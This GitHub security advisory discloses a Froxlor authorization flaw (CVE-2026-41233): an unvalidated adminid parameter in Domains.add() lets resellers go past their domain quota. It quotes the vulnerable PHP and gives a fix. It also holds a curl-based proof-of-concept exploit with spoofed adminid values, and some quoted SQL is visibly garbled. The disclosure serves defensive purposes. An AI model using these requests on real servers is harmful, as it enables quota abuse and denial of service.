GitHub Advisoryadvisory · Packagist
GHSA-jvx4-xv3m-hrj4 Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
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- Aliases
- CVE-2026-41233
- Ecosystem
- Packagist
- Packages
- froxlor/froxlor
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Weaknesses
- CWE-863
- Reviewed
- 2026-04-16
Affected packages
• Packagist froxlor/froxlor: < 2.3.6 → fixed in 2.3.6
Description
Summary
In `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota.
Details
In `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:
```php
$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));
```
The validation for this parameter only runs when the caller has `customers_see_all == '1'` (lines 410-421):
```php
if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin_stmt = Database::prepare("
SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
WHERE `adminid` = :adminid AND (`domains_used` $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
}
```
When a reseller does not have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this->getUserDetail('adminid')`. The unvalidated `$adminid` flows directly into:
1. The domain INSERT at line 757: `'adminid' => $adminid`
2. The quota increment at lines 862-868:
```php
$upd_stmt = Database::prepare("
UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);
```
Compare with `Domains.update()` at lines 1386-1387 which correctly handles this case:
```php
} else {
$adminid = $result['adminid'];
}
```
The initial quota check at line 321 checks the *caller's* own quota (`$this->getUserDetail('domains_used')`), but since the caller's `domains_used` is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.
Note: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller's own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.
PoC
```bash
Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'
Where:
• RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
• customerid=3 = one of the reseller's own customers
• adminid=1 = the super-admin's ID (or any other admin's ID)
Step 2: Verify the domain was created with adminid=1
In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
Expected: adminid=1
Step 3: Check the reseller's quota was NOT incremented
In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=;
Expected: domains_used unchanged
Step 4: Check the target admin's quota WAS incremented
In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
Expected: domains_used incremented by 1
Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'
The reseller's domains_used remains unchanged, allowing indefinite creation
```
Impact
1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.
2. Quota exhaustion DoS: The target admin's `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.
4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.
Recommended Fix
Add an `else` branch to force `$adminid` to the caller's own admin ID when `customers_see_all != '1'`, consistent with the pattern used in `Domains.update()`:
```php
// In lib/Froxlor/Api/Commands/Domains.php, after line 421:
if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin_stmt = Database::prepare("
SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
WHERE `adminid` = :adminid AND (`domains_used` $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
} else {
// Force adminid to the caller's own ID when they don't have customers_see_all
$adminid = intval($this->getUserDetail('adminid'));
}
```
Related
Alias · CVE (1)
- CVE-2026-41233 Froxlor is open source server administration software. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-41233 advisory
- https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5 web
- https://github.com/froxlor/froxlor package
- https://github.com/froxlor/froxlor/releases/tag/2.3.6 web